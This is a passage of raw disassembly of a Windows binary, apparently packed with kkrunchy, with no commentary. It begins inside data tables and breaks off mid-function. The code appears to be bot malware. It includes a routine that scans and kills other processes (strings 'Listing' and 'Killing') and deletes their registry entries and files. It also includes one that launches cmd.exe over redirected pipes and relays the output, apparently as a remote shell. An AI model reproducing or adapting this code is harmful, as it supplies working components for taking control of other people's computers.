		dd 0FFFF00FFh, 0FF0000FFh, 0FF00h, 2 dup(0FFFFFFh), 2 dup(0)
		dd 0FFFF00h, 0FFFFFFFFh, 0
		dd 0FFFFFF00h, 0FF00FFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 2 dup(0FFFFFF00h), 0FFFFFFFFh, 0FFFFFFh
		dd 2 dup(0FFFFFFFFh), 0FFFF0000h, 6 dup(0FFFFFFFFh), 2 dup(0FF00FFh)
		dd 0FFFF0000h, 3 dup(0FFFF00FFh), 4 dup(0FFFFFFFFh), 0FFFFFFh
		dd 0FF00FFh, 2 dup(0)
		dd 0FFFFFF00h, 2 dup(0)
		dd 0FFFFFFh, 0FFFF0000h, 2 dup(0FFFFFFFFh), 0FFFF0000h
		dd 0FFh, 0FFFF0000h, 0FFFFFFFFh, 0FFFFFFh, 0FF00FF00h
		dd 7 dup(0FFFFFFFFh), 0FFFFFF00h, 0FFFFFFFFh, 0FFFFFF00h
		dd 6 dup(0FFFFFFFFh), 0FFFFFF00h, 2 dup(0FFFFFFFFh), 0FFFF00FFh
		dd 0FFFFFFFFh, 0FF00FFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFh, 7 dup(0FFFFFFFFh), 0FFFF00FFh
		dd 0FFFFFF00h, 3 dup(0FFFFFFFFh), 0FFFFFFh, 0FFFF0000h
		dd 2 dup(0FFFFFFFFh), 0FFFFFF00h, 0FFFFFFFFh, 0FF00FFFFh
		dd 0FFh, 2 dup(0)
		dd 0FFFF0000h, 4 dup(0FFFFFFFFh), 0FF00FFFFh, 0FFFFFFFFh
		dd 0FFFFFFh, 0FFFFFFFFh, 0FFFFFF00h, 0FFFFFFFFh, 0FF0000FFh
		dd 0FFFFFFFFh, 0FFFF00h, 0FFFFFFFFh, 0FF00FFFFh, 0FFFFFFFFh
		dd 0FFFFFF00h, 0FF00FFFFh, 0FFFFFF00h, 2 dup(0FFFF00FFh)
		dd 0FF0000FFh, 0FFFFFFFFh, 0FFFFFF00h, 0FF00FFFFh, 0FFFF00FFh
		dd 0FF00FFFFh, 0FFFFFFFFh, 0FFFFFF00h, 0FFFFFFFFh, 0FFFFFF00h
		dd 0FFFF0000h, 0FFFFFF00h, 0FFFF0000h, 0FFFFFFFFh, 0FF00FF00h
		dd 0FF000000h, 0FFFFFFFFh, 0FF00FFFFh, 0FFFFFF00h, 0FFFFFFFFh
		dd 0FF00FFFFh, 0FFFFFF00h, 0FFFF00h, 0FF00FFh, 0FFFFFFFFh
		dd 0FFFF00FFh, 0FF00FFFFh, 0FF00h, 0
		dd 0FF000000h, 0FF00FFFFh, 0FF00FF00h, 0FFFF0000h, 0FFFFFFh
		dd 2 dup(0FFFFFFFFh), 0FFFFh, 0Dh dup(0)
dword_400734	dd 12h dup(0)		; DATA XREF: kkrunchy:003EA450o
		db 2 dup(0)
word_40077E	dw 0			; DATA XREF: kkrunchy:003EA454o
		dd 1, 2	dup(0)
		dd 10001h, 1, 0
		dd 1, 10000h, 4	dup(0)
		dd 1, 10000h, 1, 0
		dd 10000h, 3 dup(0)
		dd 10001h, 10000h, 0
		dd 2 dup(1), 0
		dd 1, 0
		dd 1, 2	dup(0)
		dd 1, 2	dup(0)
		dd 1, 2	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 10000h, 2 dup(0)
		dd 1, 0Ch dup(0)
		dd 1, 4	dup(0)
		dd 10000h, 3 dup(0)
		dd 10000h, 0Eh dup(0)
		dd 10000h, 0Ah dup(0)
		dd 10000h, 6 dup(0)
		dd 10000h, 2 dup(1), 0
		dd 1, 0
		dd 10001h, 1, 10000h, 2	dup(0)
		dd 10000h, 10001h, 9 dup(0)
		dd 2 dup(10000h), 0Ah dup(0)
		dd 1, 5	dup(0)
		dd 1, 6	dup(0)
		dd 1, 2	dup(0)
		dd 10000h, 8 dup(0)
		dd 10000h, 0
		dd 10000h, 2 dup(0)
		dd 3 dup(10000h), 10h dup(0)
		dd 1, 0Eh dup(0)
		dd 1, 0
		dd 10000h, 11h dup(0)
		dd 1, 7	dup(0)
		dd 10001h, 1, 0Dh dup(0)
		dd 1, 0
		dd 1, 5	dup(0)
		dd 1, 4	dup(0)
		dd 1, 3	dup(0)
		dd 10000h, 10001h, 0Ch dup(0)
		dd 10000h, 17h dup(0)
		dd 10001h, 0
		dd 1, 0
		dd 2 dup(10000h), 1, 6 dup(0)
		dd 10000h, 0
		dd 10001h, 7 dup(0)
		dd 1, 5	dup(0)
		dd 10000h, 9 dup(0)
		dd 1, 23h dup(0)
		dd 1, 10001h, 19h dup(0)
		dd 3 dup(10001h), 1, 2 dup(0)
dword_400DD4	dd 70F0506h, 7010107h, 24242407h, 24240524h, 24240505h
					; DATA XREF: kkrunchy:003EA458o
		dd 35353505h, 3D393D35h, 3535353Dh, 7F052435h, 24240A9Ah
		dd 2 dup(24242424h), 868E8708h,	2424248Eh, 24882424h, 90868624h
		dd 24BEBE24h, 248D2424h, 2 dup(24242424h), 5050538h, 15150505h
		dd 24242424h, 3030324h,	5030303h, 3724240Bh, 24243939h
		dd 3E243E24h, 3E3E3E24h, 2401353Eh, 35353131h, 2424FDFDh
		dd 24022470h, 24243030h, 24B8BB31h, 0F303024h, 2424240Fh
		dd 8082408h, 38332424h,	24243808h, 3 dup(24242424h), 24062424h
		dd 24242424h, 7240724h,	24242407h, 24242424h, 30242424h
		dd 535350Bh, 24300D15h,	24522424h, 5052424h, 2424243Dh
		dd 1F1F2424h, 1181808h,	1110231h, 1013707h, 0D383838h
		dd 8380838h, 5059D06h, 10312406h, 31103131h, 3E311031h
		dd 103E3E10h, 103E103Eh, 2410103Eh, 3A3A0631h, 3232073Ah
		dd 24242432h, 37242424h, 37373737h, 24373737h, 302430D8h
		dd 24242424h, 160E2406h, 3A193333h, 19333E17h, 17160A0Ah
		dd 0A0B3937h, 31373716h, 1E133A0Bh, 0F0A0B31h, 193B3716h
		dd 33170E0Ah, 1E1A191Fh, 33323137h, 160A191Fh, 1A193B37h
		dd 2 dup(1A191F1Eh), 24243716h,	24240624h, 6242424h, 6242406h
		dd 85858506h, 85858585h, 37373785h, 35353503h, 9D1D3535h
		dd 2 dup(24242424h), 3D3524h, 24242405h, 24062424h, 0D0505C0h
		dd 18004100h, 24181841h, 800E8024h, 240F800Eh, 24242424h
		dd 2240805h, 24353531h,	5050D24h, 24242424h, 30242405h
		dd 0D0D0224h, 63D060Dh,	63D3D06h, 8D052424h, 3031318Fh
		dd 31303031h, 2424243Dh, 24242424h, 5242424h, 24242405h
		dd 0Ch dup(24242424h)

; =============== S U B	R O U T	I N E =======================================



sub_400FFC	proc near		; DATA XREF: kkrunchy:003EA460o
		and	al, 24h
		and	al, 24h
sub_400FFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_40110A+30p
					; sub_40110A+3Ep ...

var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= byte ptr -58h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 260h
		push	ebx
		xor	ebx, ebx
		cmp	off_413000, ebx
		mov	[ebp+var_C], ebx
		jz	loc_401104
		push	esi
		mov	eax, offset off_413000
		push	edi
		mov	edi, dword_412008
		mov	[ebp+var_18], eax
		mov	esi, 104h


loc_401030:				; CODE XREF: sub_401000+FCj
		push	dword ptr [eax]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40B5E1
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	3
		lea	eax, [ebp+var_58]
		push	ebx
		push	eax
		push	[ebp+arg_0]
		call	dword_412000	; RegOpenKeyExA
		lea	eax, [ebp+var_4]
		mov	[ebp+var_10], ebx
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_260]
		mov	[ebp+var_14], esi
		push	eax
		mov	[ebp+var_4], esi
		push	ebx


loc_401080:				; CODE XREF: sub_401000+E6j
		push	[ebp+var_8]
		call	edi	; RegEnumValueA
		test	eax, eax
		jnz	short loc_4010E8
		cmp	[ebp+var_1C], 1
		jnz	short loc_4010BF
		push	[ebp+arg_4]
		lea	eax, [ebp+var_15C]
		push	[ebp+var_4]
		push	eax
		call	sub_405A0D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4010BF
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+var_8]
		call	dword_412004	; RegDeleteValueA
		test	eax, eax
		jnz	short loc_4010BF
		inc	[ebp+var_C]


loc_4010BF:				; CODE XREF: sub_401000+8Dj
					; sub_401000+A6j ...
		lea	eax, [ebp+var_4]
		inc	[ebp+var_10]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_260]
		mov	[ebp+var_14], esi
		push	eax
		mov	[ebp+var_4], esi
		push	[ebp+var_10]
		jmp	short loc_401080
; ---------------------------------------------------------------------------


loc_4010E8:				; CODE XREF: sub_401000+87j
		push	[ebp+var_8]
		call	dword_412028	; RegCloseKey
		mov	eax, [ebp+var_18]
		add	eax, 4
		mov	[ebp+var_18], eax
		cmp	[eax], ebx
		jnz	loc_401030
		pop	edi
		pop	esi


loc_401104:				; CODE XREF: sub_401000+15j
		mov	eax, [ebp+var_C]
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40110A	proc near		; CODE XREF: sub_4011C4+23Bp
					; sub_407A76+68Ep

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	80h
		push	esi
		call	dword_4120B0	; SetFileAttributesA
		test	eax, eax
		jz	loc_4011BF
		push	esi
		call	dword_4120B8	; DeleteFileA
		push	esi
		push	80000001h
		call	sub_401000
		mov	ebx, 80000002h
		push	esi
		push	ebx
		mov	edi, eax
		call	sub_401000
		add	esp, 10h
		add	eax, edi
		jnz	short loc_4011BF
		mov	edi, 104h
		lea	eax, [ebp+var_104]
		push	edi
		push	esi
		push	eax
		call	sub_4059C2
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h
		test	eax, eax
		jz	short loc_40119E


loc_40117A:				; CODE XREF: sub_40110A+78j
		cmp	byte ptr [esi+eax-1], 5Ch
		jz	short loc_401186
		dec	eax
		jnz	short loc_40117A
		jmp	short loc_40119E
; ---------------------------------------------------------------------------


loc_401186:				; CODE XREF: sub_40110A+75j
		lea	eax, [ebp+eax+var_104]
		push	edi
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4059C2
		add	esp, 0Ch


loc_40119E:				; CODE XREF: sub_40110A+6Ej
					; sub_40110A+7Aj
		lea	eax, [ebp+var_104]
		push	eax
		push	80000001h
		call	sub_401000
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	sub_401000
		add	esp, 10h


loc_4011BF:				; CODE XREF: sub_40110A+1Dj
					; sub_40110A+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40110A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4011C4	proc near		; DATA XREF: sub_4014B0+74o

var_3D0		= byte ptr -3D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_2C7		= dword	ptr -2C7h
var_2C3		= byte ptr -2C3h
var_2C2		= byte ptr -2C2h
var_1C3		= byte ptr -1C3h
var_2B		= byte ptr -2Bh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D0h
		push	2ACh
		lea	eax, [ebp+var_2CC]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		cmp	[ebp+var_2C8], 0
		jz	short loc_401218
		lea	eax, [ebp+var_2C3]
		push	eax
		mov	eax, [ebp+var_2CC]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1C3]
		push	offset dword_413144
		push	eax
		call	sub_4096CB
		add	esp, 10h


loc_401218:				; CODE XREF: sub_4011C4+2Fj
		push	ebx
		push	esi
		call	sub_404639
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_40149C
		push	edi
		push	10000h
		call	sub_4114C4	; malloc
		cmp	[esi], ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], ebx
		jle	loc_40143E
		xor	edi, edi


loc_40124A:				; CODE XREF: sub_4011C4+269j
		call	dword_4120F0	; GetCurrentProcessId
		mov	ecx, [esi+4]
		cmp	[edi+ecx], eax
		jz	loc_40141F
		lea	eax, [ebp+var_3D0]
		push	104h
		push	eax
		push	ebx
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		mov	eax, [esi+4]
		lea	eax, [edi+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_3D0]
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40141F
		mov	eax, [esi+4]
		push	dword ptr [edi+eax]
		mov	al, [ebp+var_2C8]
		neg	al
		sbb	eax, eax
		push	ebx
		add	eax, 11h
		push	eax
		call	dword_41209C	; OpenProcess
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	loc_40141F
		xor	edx, edx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_20], edx


loc_4012C2:				; CODE XREF: sub_4011C4+1DAj
		mov	eax, [esi+4]
		mov	[ebp+var_18], 10000h
		add	eax, edi
		mov	ecx, [eax+8]
		sub	ecx, edx
		cmp	ecx, 10000h
		ja	short loc_4012DE
		mov	[ebp+var_18], ecx


loc_4012DE:				; CODE XREF: sub_4011C4+115j
		mov	eax, [eax+4]
		lea	ecx, [ebp+var_C]
		push	ecx
		add	eax, edx
		push	[ebp+var_18]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_4]
		call	dword_4120A0	; ReadProcessMemory
		test	eax, eax
		jz	loc_40138A
		cmp	[ebp+var_C], ebx
		jz	loc_40138A
		xor	ecx, ecx


loc_40130A:				; CODE XREF: sub_4011C4+1B9j
		mov	eax, [ebp+arg_0]
		mov	al, [ecx+eax]
		cmp	al, [ebp+var_2C3]
		jz	short loc_401330
		movsx	edx, al
		movsx	eax, [ebp+var_2C3]
		lea	ebx, [eax+20h]
		cmp	edx, ebx
		jz	short loc_401330
		add	eax, 0FFFFFFE0h
		cmp	edx, eax
		jnz	short loc_401371


loc_401330:				; CODE XREF: sub_4011C4+152j
					; sub_4011C4+163j
		lea	eax, [ebp+var_2C2]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_1C], eax


loc_401343:				; CODE XREF: sub_4011C4+1ABj
		mov	eax, [ebp+var_14]
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_401381
		mov	eax, [ebp+var_1C]
		mov	al, [eax]
		cmp	dl, al
		jz	short loc_401369
		movsx	eax, al
		movsx	edx, dl
		lea	ebx, [eax+20h]
		cmp	edx, ebx
		jz	short loc_401369
		add	eax, 0FFFFFFE0h
		cmp	edx, eax
		jnz	short loc_401371


loc_401369:				; CODE XREF: sub_4011C4+18Fj
					; sub_4011C4+19Cj
		inc	[ebp+var_1C]
		inc	[ebp+var_14]
		jmp	short loc_401343
; ---------------------------------------------------------------------------


loc_401371:				; CODE XREF: sub_4011C4+16Aj
					; sub_4011C4+1A3j
		mov	eax, [ebp+var_C]
		inc	ecx
		sub	eax, [ebp+var_2C7]
		cmp	ecx, eax
		jbe	short loc_40130A
		jmp	short loc_40138A
; ---------------------------------------------------------------------------


loc_401381:				; CODE XREF: sub_4011C4+186j
		mov	eax, [ebp+arg_0]
		add	ecx, eax
		test	ecx, ecx
		jnz	short loc_4013A3


loc_40138A:				; CODE XREF: sub_4011C4+135j
					; sub_4011C4+13Ej ...
		mov	edx, [ebp+var_20]
		mov	eax, [esi+4]
		add	edx, [ebp+var_18]
		cmp	edx, [edi+eax+8]
		mov	[ebp+var_20], edx
		jz	short loc_401414
		xor	ebx, ebx
		jmp	loc_4012C2
; ---------------------------------------------------------------------------


loc_4013A3:				; CODE XREF: sub_4011C4+1C4j
		inc	[ebp+var_8]
		cmp	[ebp+var_2C8], 0
		jz	short loc_4013EC
		push	3E8h
		call	dword_4120A4	; Sleep
		mov	bl, [ebp+var_2B]
		and	[ebp+var_2B], 0
		mov	eax, [esi+4]
		add	eax, edi
		push	dword ptr [eax]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_2C3]
		push	eax
		lea	eax, [ebp+var_1C3]
		push	offset dword_41311C
		push	eax
		call	sub_4096CB
		add	esp, 14h
		mov	[ebp+var_2B], bl
		jmp	short loc_401405
; ---------------------------------------------------------------------------


loc_4013EC:				; CODE XREF: sub_4011C4+1E9j
		push	0
		push	[ebp+var_4]
		call	dword_4120A8	; TerminateProcess
		mov	eax, [esi+4]
		lea	eax, [edi+eax+0Ch]
		push	eax
		call	sub_40110A
		pop	ecx


loc_401405:				; CODE XREF: sub_4011C4+226j
		mov	eax, [ebp+var_2CC]
		xor	ebx, ebx
		cmp	[eax+4], ebx
		jnz	short loc_401435
		jmp	short loc_401416
; ---------------------------------------------------------------------------


loc_401414:				; CODE XREF: sub_4011C4+1D6j
		xor	ebx, ebx


loc_401416:				; CODE XREF: sub_4011C4+24Ej
		push	[ebp+var_4]
		call	dword_4120AC	; CloseHandle


loc_40141F:				; CODE XREF: sub_4011C4+92j
					; sub_4011C4+CAj ...
		inc	[ebp+var_10]
		add	edi, 114h
		mov	eax, [ebp+var_10]
		cmp	eax, [esi]
		jl	loc_40124A
		jmp	short loc_40143E
; ---------------------------------------------------------------------------


loc_401435:				; CODE XREF: sub_4011C4+24Cj
		push	[ebp+var_4]
		call	dword_4120AC	; CloseHandle


loc_40143E:				; CODE XREF: sub_4011C4+7Ej
					; sub_4011C4+26Fj
		push	esi
		call	sub_404854
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		cmp	[ebp+var_2C8], 0
		pop	ecx
		pop	ecx
		pop	edi
		jz	short loc_40149C
		push	3E8h
		call	dword_4120A4	; Sleep
		cmp	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C3]
		push	eax
		jnz	short loc_401485
		lea	eax, [ebp+var_1C3]
		push	offset dword_4130F8
		push	eax
		call	sub_4096CB
		add	esp, 0Ch
		jmp	short loc_40149C
; ---------------------------------------------------------------------------


loc_401485:				; CODE XREF: sub_4011C4+2A9j
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C3]
		push	offset dword_4130CC
		push	eax


loc_401494:				; DATA XREF: kkrunchy:off_415DACo
		call	sub_4096CB
		add	esp, 10h


loc_40149C:				; CODE XREF: sub_4011C4+61j
					; sub_4011C4+292j ...
		push	[ebp+var_2CC]
		call	sub_406E6F
		pop	ecx
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4011C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4014B0	proc near		; CODE XREF: sub_407A76+6AFp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_401531
		push	edi
		call	sub_4114BE	; strlen
		test	eax, eax
		pop	ecx
		jz	short loc_401531
		push	2ACh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_401531
		push	ebx
		mov	bl, [esp+0Ch+arg_8]
		push	edi
		mov	[esi+4], bl
		call	sub_4114BE	; strlen
		mov	[esi+5], eax
		mov	[esp+10h+var_10], 100h
		lea	eax, [esi+9]
		push	edi
		push	eax
		call	sub_4114D6	; strncpy
		push	[esp+18h+arg_0]
		lea	eax, [esi+109h]
		push	eax
		call	sub_40457C
		add	esp, 14h
		mov	eax, offset aListing ; "Listing"
		test	bl, bl
		pop	ebx
		jnz	short loc_40151A
		mov	eax, offset aKilling ; "Killing"


loc_40151A:				; CODE XREF: sub_4014B0+63j
		push	edi
		push	eax
		push	offset dword_413174
		push	0
		push	esi
		push	offset sub_4011C4
		call	sub_406D58
		add	esp, 18h


loc_401531:				; CODE XREF: sub_4014B0+8j
					; sub_4014B0+13j ...
		pop	edi
		pop	esi
		retn
sub_4014B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401534	proc near		; CODE XREF: sub_401621:loc_40188Dp
		mov	eax, dword_4191C4
		push	esi
		mov	esi, dword_4120AC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401548
		push	eax
		call	esi	; CloseHandle


loc_401548:				; CODE XREF: sub_401534+Fj
		mov	eax, dword_4191B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401555
		push	eax
		call	esi	; CloseHandle


loc_401555:				; CODE XREF: sub_401534+1Cj
		mov	eax, dword_4191BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401562
		push	eax
		call	esi	; CloseHandle


loc_401562:				; CODE XREF: sub_401534+29j
		mov	eax, dword_4191C0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40156F
		push	eax
		call	esi	; CloseHandle


loc_40156F:				; CODE XREF: sub_401534+36j
		pop	esi
		retn
sub_401534	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401571	proc near		; CODE XREF: sub_401621+228p
					; sub_401621+252p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+189h], 0
		jnz	short loc_401590
		cmp	byte ptr [esi+18Dh], 0
		jz	short loc_4015CE


loc_401590:				; CODE XREF: sub_401571+14j
					; sub_401571+49j ...
		push	32h
		call	dword_4120A4	; Sleep
		cmp	byte ptr [esi+189h], 0
		jz	short loc_4015B3
		call	sub_4114E2	; clock
		sub	eax, dword_4191CC
		cmp	eax, 1F4h
		jnb	short loc_4015CE


loc_4015B3:				; CODE XREF: sub_401571+2Ej
		cmp	byte ptr [esi+18Dh], 0
		jz	short loc_401590
		call	sub_4114E2	; clock
		sub	eax, dword_4191CC
		cmp	eax, 0FAh
		jb	short loc_401590


loc_4015CE:				; CODE XREF: sub_401571+1Dj
					; sub_401571+40j
		call	sub_4114E2	; clock
		mov	ecx, [ebp+arg_4]
		mov	dword_4191CC, eax
		mov	al, [ecx]
		cmp	al, 0Ah
		jz	short loc_4015FC
		cmp	al, 0Dh
		jz	short loc_4015FC
		push	200h
		lea	eax, [ebp+var_200]
		push	ecx
		push	eax
		call	sub_4059C2
		add	esp, 0Ch
		jmp	short loc_40160F
; ---------------------------------------------------------------------------


loc_4015FC:				; CODE XREF: sub_401571+6Ej
					; sub_401571+72j
		lea	eax, [ebp+var_200]
		push	offset dword_4131A4
		push	eax
		call	sub_4114DC	; sprintf
		pop	ecx
		pop	ecx


loc_40160F:				; CODE XREF: sub_401571+89j
		lea	eax, [ebp+var_200]
		push	eax
		push	esi
		call	sub_4096CB
		pop	ecx
		pop	ecx
		pop	esi
		leave
		retn
sub_401571	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401621	proc near		; DATA XREF: sub_4018D5+73o

var_724		= byte ptr -724h
var_620		= byte ptr -620h
var_420		= dword	ptr -420h
var_21C		= byte ptr -21Ch
var_78		= dword	ptr -78h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 724h
		push	ebx
		push	esi
		push	edi
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		call	sub_4114E2	; clock
		sub	eax, 1F4h
		xor	esi, esi
		mov	dword_4191CC, eax
		lea	eax, [ebp+var_724]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_412074	; SearchPathA
		test	eax, eax
		jz	loc_401892
		push	1
		lea	eax, [ebp+var_20]
		pop	ebx
		mov	edi, dword_412078
		push	esi
		push	eax
		lea	eax, [ebp+var_10]
		mov	[ebp+var_20], 0Ch
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_1C], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40188D
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40188D
		mov	edi, dword_4120F8
		push	3
		push	esi
		push	esi
		push	offset dword_4191C0
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_412080	; DuplicateHandle
		test	eax, eax
		jz	loc_40188D
		push	10h
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		call	sub_4114E8	; memset
		push	44h
		lea	eax, [ebp+var_78]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_4114E8	; memset
		mov	eax, [ebp+var_C]
		add	esp, 18h
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_34]
		mov	[ebp+var_78], edi
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		push	esi
		lea	eax, [ebp+var_724]
		push	offset byte_4191D0
		push	eax
		mov	[ebp+var_4C], 101h
		mov	[ebp+var_48], si
		call	dword_412084	; CreateProcessA
		test	eax, eax
		jz	loc_40188D
		push	[ebp+var_C]
		mov	edi, dword_4120AC
		call	edi	; CloseHandle
		mov	eax, [ebp+var_14]
		push	[ebp+var_30]
		mov	dword_4191C4, eax
		mov	eax, [ebp+var_8]
		mov	dword_4191B8, eax
		mov	eax, [ebp+var_34]
		mov	dword_4191BC, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+var_420]
		mov	[ebp+var_4], esi
		cmp	[eax+4], esi
		jnz	loc_40188D
		mov	edi, 200h
		mov	ebx, 103h


loc_40178F:				; CODE XREF: sub_401621+238j
		push	edi
		lea	eax, [ebp+var_620]
		push	esi
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	esi
		push	eax
		lea	eax, [ebp+var_620]
		push	edi
		push	eax
		push	dword_4191C4
		call	dword_412088	; PeekNamedPipe
		test	eax, eax
		jz	loc_401867
		cmp	[ebp+var_4], esi
		jnz	short loc_4017F1
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], ebx
		push	eax
		push	dword_4191BC
		call	dword_41208C	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_4017E7
		cmp	[ebp+arg_0], ebx
		jnz	loc_40187A


loc_4017E7:				; CODE XREF: sub_401621+1BBj
		push	0Ah
		call	dword_4120A4	; Sleep
		jmp	short loc_401850
; ---------------------------------------------------------------------------


loc_4017F1:				; CODE XREF: sub_401621+1A4j
		xor	eax, eax
		cmp	[ebp+var_4], esi
		jbe	short loc_401808


loc_4017F8:				; CODE XREF: sub_401621+1E5j
		cmp	[ebp+eax+var_620], 0Ah
		jz	short loc_401861
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_4017F8


loc_401808:				; CODE XREF: sub_401621+1D5j
		mov	[ebp+var_4], edi


loc_40180B:				; CODE XREF: sub_401621+244j
		push	edi
		lea	eax, [ebp+var_620]
		push	esi
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_620]
		push	eax
		push	dword_4191C4
		call	dword_412090	; ReadFile
		test	eax, eax
		jz	short loc_40188D
		lea	eax, [ebp+var_620]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_401571
		pop	ecx
		pop	ecx


loc_401850:				; CODE XREF: sub_401621+1CEj
		mov	eax, [ebp+var_420]
		cmp	[eax+4], esi
		jz	loc_40178F
		jmp	short loc_40188D
; ---------------------------------------------------------------------------


